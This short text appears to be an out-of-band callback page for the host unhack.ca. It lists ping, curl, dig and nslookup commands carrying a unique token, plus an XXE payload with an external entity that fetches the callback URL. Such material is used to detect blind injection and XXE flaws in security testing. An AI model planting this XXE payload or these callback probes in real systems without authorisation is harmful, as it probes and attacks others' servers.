$ ping -c1 -p 00f1ae467b317bb6c303ffa207bc4800 unhack.ca
 

$ curl http://unhack.ca/p/f1ae467b317bb6c303ffa207bc48
 

$ dig f1ae467b317bb6c303ffa207bc48 @unhack.ca
 

$ dig f1ae467b317bb6c303ffa207bc48.ns.unhack.ca
 

C:\> nslookup f1ae467b317bb6c303ffa207bc48 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f1ae467b317bb6c303ffa207bc48">]>
    <foo>&xxe;</foo>